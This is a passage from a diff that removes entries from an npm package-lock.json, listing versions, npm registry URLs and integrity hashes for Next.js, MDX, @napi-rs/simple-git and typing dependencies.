"https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", - "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/@mdx-js/react": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@mdx-js/react/-/react-2.3.0.tgz", - "integrity": "sha512-zQH//gdOmuu7nt2oJR29vFhDv88oGPmVw6BggmrHeMI+xgEkp1B2dX9/bMBSYtK0dyLX/aOmesKS09g222K1/g==", - "dependencies": { - "@types/mdx": "^2.0.0", - "@types/react": ">=16" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - }, - "peerDependencies": { - "react": ">=16" - } - }, - "node_modules/@napi-rs/simple-git": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git/-/simple-git-0.1.16.tgz", - "integrity": "sha512-C5wRPw9waqL2jk3jEDeJv+f7ScuO3N0a39HVdyFLkwKxHH4Sya4ZbzZsu2JLi6eEqe7RuHipHL6mC7B2OfYZZw==", - "engines": { - "node": ">= 10" - }, - "optionalDependencies": { - "@napi-rs/simple-git-android-arm-eabi": "0.1.16", - "@napi-rs/simple-git-android-arm64": "0.1.16", - "@napi-rs/simple-git-darwin-arm64": "0.1.16", - "@napi-rs/simple-git-darwin-x64": "0.1.16", - "@napi-rs/simple-git-linux-arm-gnueabihf": "0.1.16", - "@napi-rs/simple-git-linux-arm64-gnu": "0.1.16", - "@napi-rs/simple-git-linux-arm64-musl": "0.1.16", - "@napi-rs/simple-git-linux-x64-gnu": "0.1.16", - "@napi-rs/simple-git-linux-x64-musl": "0.1.16", - "@napi-rs/simple-git-win32-arm64-msvc": "0.1.16", - "@napi-rs/simple-git-win32-x64-msvc": "0.1.16" - } - }, - "node_modules/@napi-rs/simple-git-android-arm-eabi": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-android-arm-eabi/-/simple-git-android-arm-eabi-0.1.16.tgz", - "integrity": "sha512-dbrCL0Pl5KZG7x7tXdtVsA5CO6At5ohDX3myf5xIYn9kN4jDFxsocl8bNt6Vb/hZQoJd8fI+k5VlJt+rFhbdVw==", - "cpu": [ - "arm" - ], - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-android-arm64": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-android-arm64/-/simple-git-android-arm64-0.1.16.tgz", - "integrity": "sha512-xYz+TW5J09iK8SuTAKK2D5MMIsBUXVSs8nYp7HcMi8q6FCRO7yJj96YfP9PvKsc/k64hOyqGmL5DhCzY9Cu1FQ==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-darwin-arm64": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-darwin-arm64/-/simple-git-darwin-arm64-0.1.16.tgz", - "integrity": "sha512-XfgsYqxhUE022MJobeiX563TJqyQyX4FmYCnqrtJwAfivESVeAJiH6bQIum8dDEYMHXCsG7nL8Ok0Dp8k2m42g==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-darwin-x64": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-darwin-x64/-/simple-git-darwin-x64-0.1.16.tgz", - "integrity": "sha512-tkEVBhD6vgRCbeWsaAQqM3bTfpIVGeitamPPRVSbsq8qgzJ5Dx6ZedH27R7KSsA/uao7mZ3dsrNLXbu1Wy5MzA==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-linux-arm-gnueabihf": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-arm-gnueabihf/-/simple-git-linux-arm-gnueabihf-0.1.16.tgz", - "integrity": "sha512-R6VAyNnp/yRaT7DV1Ao3r67SqTWDa+fNq2LrNy0Z8gXk2wB9ZKlrxFtLPE1WSpWknWtyRDLpRlsorh7Evk7+7w==", - "cpu": [ - "arm" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-linux-arm64-gnu": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-arm64-gnu/-/simple-git-linux-arm64-gnu-0.1.16.tgz", - "integrity": "sha512-LAGI0opFKw/HBMCV2qIBK3uWSEW9h4xd2ireZKLJy8DBPymX6NrWIamuxYNyCuACnFdPRxR4LaRFy4J5ZwuMdw==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-linux-arm64-musl": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-arm64-musl/-/simple-git-linux-arm64-musl-0.1.16.tgz", - "integrity": "sha512-I57Ph0F0Yn2KW93ep+V1EzKhACqX0x49vvSiapqIsdDA2PifdEWLc1LJarBolmK7NKoPqKmf6lAKKO9lhiZzkg==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-linux-x64-gnu": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-x64-gnu/-/simple-git-linux-x64-gnu-0.1.16.tgz", - "integrity": "sha512-AZYYFY2V7hlcQASPEOWyOa3e1skzTct9QPzz0LiDM3f/hCFY/wBaU2M6NC5iG3d2Kr38heuyFS/+JqxLm5WaKA==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-linux-x64-musl": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-linux-x64-musl/-/simple-git-linux-x64-musl-0.1.16.tgz", - "integrity": "sha512-9TyMcYSBJwjT8jwjY9m24BZbu7ozyWTjsmYBYNtK3B0Um1Ov6jthSNneLVvouQ6x+k3Ow+00TiFh6bvmT00r8g==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-win32-arm64-msvc": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-win32-arm64-msvc/-/simple-git-win32-arm64-msvc-0.1.16.tgz", - "integrity": "sha512-uslJ1WuAHCYJWui6xjsyT47SjX6KOHDtClmNO8hqKz1pmDSNY7AjyUY8HxvD1lK9bDnWwc4JYhikS9cxCqHybw==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@napi-rs/simple-git-win32-x64-msvc": { - "version": "0.1.16", - "resolved": "https://registry.npmjs.org/@napi-rs/simple-git-win32-x64-msvc/-/simple-git-win32-x64-msvc-0.1.16.tgz", - "integrity": "sha512-SoEaVeCZCDF1MP+M9bMSXsZWgEjk4On9GWADO5JOulvzR1bKjk0s9PMHwe/YztR9F0sJzrCxwtvBZowhSJsQPg==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/env": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/env/-/env-13.5.6.tgz", - "integrity": "sha512-Yac/bV5sBGkkEXmAX5FWPS9Mmo2rthrOPRQQNfycJPkjUAUclomCPH7QFVCDQ4Mp2k2K1SSM6m0zrxYrOwtFQw==" - }, - "node_modules/@next/swc-darwin-arm64": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-13.5.6.tgz", - "integrity": "sha512-5nvXMzKtZfvcu4BhtV0KH1oGv4XEW+B+jOfmBdpFI3C7FrB/MfujRpWYSBBO64+qbW8pkZiSyQv9eiwnn5VIQA==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-darwin-x64": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-13.5.6.tgz", - "integrity": "sha512-6cgBfxg98oOCSr4BckWjLLgiVwlL3vlLj8hXg2b+nDgm4bC/qVXXLfpLB9FHdoDu4057hzywbxKvmYGmi7yUzA==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-linux-arm64-gnu": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-13.5.6.tgz", - "integrity": "sha512-txagBbj1e1w47YQjcKgSU4rRVQ7uF29YpnlHV5xuVUsgCUf2FmyfJ3CPjZUvpIeXCJAoMCFAoGnbtX86BK7+sg==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-linux-arm64-musl": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-13.5.6.tgz", - "integrity": "sha512-cGd+H8amifT86ZldVJtAKDxUqeFyLWW+v2NlBULnLAdWsiuuN8TuhVBt8ZNpCqcAuoruoSWynvMWixTFcroq+Q==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-linux-x64-gnu": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-13.5.6.tgz", - "integrity": "sha512-Mc2b4xiIWKXIhBy2NBTwOxGD3nHLmq4keFk+d4/WL5fMsB8XdJRdtUlL87SqVCTSaf1BRuQQf1HvXZcy+rq3Nw==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-linux-x64-musl": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-13.5.6.tgz", - "integrity": "sha512-CFHvP9Qz98NruJiUnCe61O6GveKKHpJLloXbDSWRhqhkJdZD2zU5hG+gtVJR//tyW897izuHpM6Gtf6+sNgJPQ==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-win32-arm64-msvc": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-13.5.6.tgz", - "integrity": "sha512-aFv1ejfkbS7PUa1qVPwzDHjQWQtknzAZWGTKYIAaS4NMtBlk3VyA6AYn593pqNanlicewqyl2jUhQAaFV/qXsg==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-win32-ia32-msvc": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-13.5.6.tgz", - "integrity": "sha512-XqqpHgEIlBHvzwG8sp/JXMFkLAfGLqkbVsyN+/Ih1mR8INb6YCc2x/Mbwi6hsAgUnqQztz8cvEbHJUbSl7RHDg==", - "cpu": [ - "ia32" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@next/swc-win32-x64-msvc": { - "version": "13.5.6", - "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-13.5.6.tgz", - "integrity": "sha512-Cqfe1YmOS7k+5mGu92nl5ULkzpKuxJrP3+4AEuPmrpFZ3BHxTY3TnHmU1On3bFmFFs6FbTcdF58CCUProGpIGQ==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10" - } - }, - "node_modules/@popperjs/core": { - "version": "2.11.8", - "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.8.tgz", - "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/popperjs" - } - }, - "node_modules/@swc/helpers": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.2.tgz", - "integrity": "sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==", - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@tanstack/react-virtual": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.2.0.tgz", - "integrity": "sha512-OEdMByf2hEfDa6XDbGlZN8qO6bTjlNKqjM3im9JG+u3mCL8jALy0T/67oDI001raUUPh1Bdmfn4ZvPOV5knpcg==", - "dependencies": { - "@tanstack/virtual-core": "3.2.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0", - "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" - } - }, - "node_modules/@tanstack/virtual-core": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@tanstack/virtual-core/-/virtual-core-3.2.0.tgz", - "integrity": "sha512-P5XgYoAw/vfW65byBbJQCw+cagdXDT/qH6wmABiLt4v4YBT2q2vqCOhihe+D1Nt325F/S/0Tkv6C5z0Lv+VBQQ==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/tannerlinsley" - } - }, - "node_modules/@theguild/remark-mermaid": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/@theguild/remark-mermaid/-/remark-mermaid-0.0.5.tgz", - "integrity": "sha512-e+ZIyJkEv9jabI4m7q29wZtZv+2iwPGsXJ2d46Zi7e+QcFudiyuqhLhHG/3gX3ZEB+hxTch+fpItyMS8jwbIcw==", - "dependencies": { - "mermaid": "^10.2.2", - "unist-util-visit": "^5.0.0" - }, - "peerDependencies": { - "react": "^18.2.0" - } - }, - "node_modules/@theguild/remark-npm2yarn": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/@theguild/remark-npm2yarn/-/remark-npm2yarn-0.2.1.tgz", - "integrity": "sha512-jUTFWwDxtLEFtGZh/TW/w30ySaDJ8atKWH8dq2/IiQF61dPrGfETpl0WxD0VdBfuLOeU14/kop466oBSRO/5CA==", - "dependencies": { - "npm-to-yarn": "^2.1.0", - "unist-util-visit": "^5.0.0" - } - }, - "node_modules/@types/acorn": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@types/acorn/-/acorn-4.0.6.tgz", - "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==", - "dependencies": { - "@types/estree": "*" - } - }, - "node_modules/@types/d3-scale": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.8.tgz", - "integrity": "sha512-gkK1VVTr5iNiYJ7vWDI+yUFFlszhNMtVeneJ6lUTKPjprsvLLI9/tgEGiXJOnlINJA8FyA88gfnQsHbybVZrYQ==", - "dependencies": { - "@types/d3-time": "*" - } - }, - "node_modules/@types/d3-scale-chromatic": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/d3-scale-chromatic/-/d3-scale-chromatic-3.0.3.tgz", - "integrity": "sha512-laXM4+1o5ImZv3RpFAsTRn3TEkzqkytiOY0Dz0sq5cnd1dtNlk6sHLon4OvqaiJb28T0S/TdsBI3Sjsy+keJrw==" - }, - "node_modules/@types/d3-time": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.3.tgz", - "integrity": "sha512-2p6olUZ4w3s+07q3Tm2dbiMZy5pCDfYwtLXXHUnVzXgQlZ/OyPtUz6OL382BkOuGlLXqfT+wqv8Fw2v8/0geBw==" - }, - "node_modules/@types/debug": { - "version": "4.1.12", - "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz", - "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==", - "dependencies": { - "@types/ms": "*" - } - }, - "node_modules/@types/estree": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", - "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==" - }, - "node_modules/@types/estree-jsx": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz", - "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", - "dependencies": { - "@types/estree": "*" - } - }, - "node_modules/@types/hast": { - "version": "2.3.10", - "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.10.tgz", - "integrity": "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==", - "dependencies": { - "@types/unist": "^2" - } - }, - "node_modules/@types/js-yaml": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-4.0.9.tgz", - "integrity": "sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==" - }, - "node_modules/@types/katex": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@types/katex/-/katex-0.16.7.tgz", - "integrity": "sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==" - }, - "node_modules/@types/mdast": { - "version": "3.0.15", - "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.15.tgz", - "integrity": "sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==", - "dependencies": { - "@types/unist": "^2" - } - }, - "node_modules/@types/mdx": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/@types/mdx/-/mdx-2.0.11.tgz", - "integrity": "sha512-HM5bwOaIQJIQbAYfax35HCKxx7a3KrK3nBtIqJgSOitivTD1y3oW9P3rxY9RkXYPUk7y/AjAohfHKmFpGE79zw==" - }, - "node_modules/@types/ms": { - "version": "0.7.34", - "resolved": "https://registry.npmjs.org/@types/ms/-/ms-0.7.34.tgz", - "integrity": "sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==" - }, - "node_modules/@types/node": { - "version": "18.11.10", - "resolved": "https://registry.npmjs.org/@types/node/-/node-18.11.10.tgz", - "integrity": "sha512-juG3RWMBOqcOuXC643OAdSA525V44cVgGV6dUDuiFtss+8Fk5x1hI93Rsld43VeJVIeqlP9I7Fn9/qaVqoEAuQ==", - "dev": true - }, - "node_modules/@types/prop-types": { - "version": "15.7.11", - "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.11.tgz", - "integrity": "sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==" - }, - "node_modules/@types/react": { - "version": "18.2.67", - "resolved": "https://registry.npmjs.org/@types/react/-/react-18.2.67.tgz", - "integrity": "sha512-vkIE2vTIMHQ/xL0rgmuoECBCkZFZeHr49HeWSc24AptMbNRo7pwSBvj73rlJJs9fGKj0koS+V7kQB1jHS0uCgw==", - "dependencies": { - "@types/prop-types": "*", - "@types/scheduler": "*", - "csstype": "^3.0.2" - } - }, - "node_modules/@types/scheduler": { - "version": "0.16.8", - "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.8.tgz", - "integrity": "sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==" - }, - "node_modules/@types/unist": { - "version": "2.0.10", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.10.tgz", - "integrity": "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==" - }, - "node_modules/@ungap/structured-clone": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz", - "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==" - }, - "node_modules/acorn": { - "version": "8.11.3", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz", - "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/ansi-sequence-parser": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ansi-sequence-parser/-/ansi-sequence-parser-1.1.1.tgz", - "integrity": "sha512-vJXt3yiaUL4UU546s3rPXlsry/RnM730G1+HkpKE012AN0sx1eOrxSu95oKDIonskeLTijMgqWZ3uDEe3NFvyg==" - }, - "node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/arch": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/arch/-/arch-2.2.0.tgz", - "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/arg": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/arg/-/arg-1.0.0.tgz", - "integrity": "sha512-Wk7TEzl1KqvTGs/uyhmHO/3XLd3t1UeU4IstvPXVzGPM522cTjqjNZ99esCkcL52sjqjo8e8CTBcWhkxvGzoAw==" - }, - "node_modules/argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "dependencies": { - "sprintf-js": "~1.0.2" - } - }, - "node_modules/astring": { - "version": "1.8.6", - "resolved": "https://registry.npmjs.org/astring/-/astring-1.8.6.tgz", - "integrity": "sha512-ISvCdHdlTDlH5IpxQJIex7BWBywFWgjJSVdwst+/iQCoEYnyOaQ95+X1JGshuBjGp6nxKUy1jMgE3zPqN7fQdg==", - "bin": { - "astring": "bin/astring" - } - }, - "node_modules/bail": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", - "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/busboy": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", - "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", - "dependencies": { - "streamsearch": "^1.1.0" - }, - "engines": { - "node": ">=10.16.0" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001599", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001599.tgz", - "integrity": "sha512-LRAQHZ4yT1+f9LemSMeqdMpMxZcc4RMWdj4tiFe3G8tNkWK+E58g+/tzotb5cU6TbcVJLr4fySiAW7XmxQvZQA==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ] - }, - "node_modules/ccount": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", - "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/chalk": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.3.0.tgz", - "integrity": "sha512-Az5zJR2CBujap2rqXGaJKaPHyJ0IrUimvYNX+ncCy8PJP4ltOGTrHUIo097ZaL2zMeKYpiCdqDvS6zdrTFok3Q==", - "dependencies": { - "ansi-styles": "^3.1.0", - "escape-string-regexp": "^1.0.5", - "supports-color": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/chalk/node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/character-entities": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", - "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-entities-html4": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", - "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-entities-legacy": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", - "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-reference-invalid": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", - "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/client-only": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz", - "integrity": 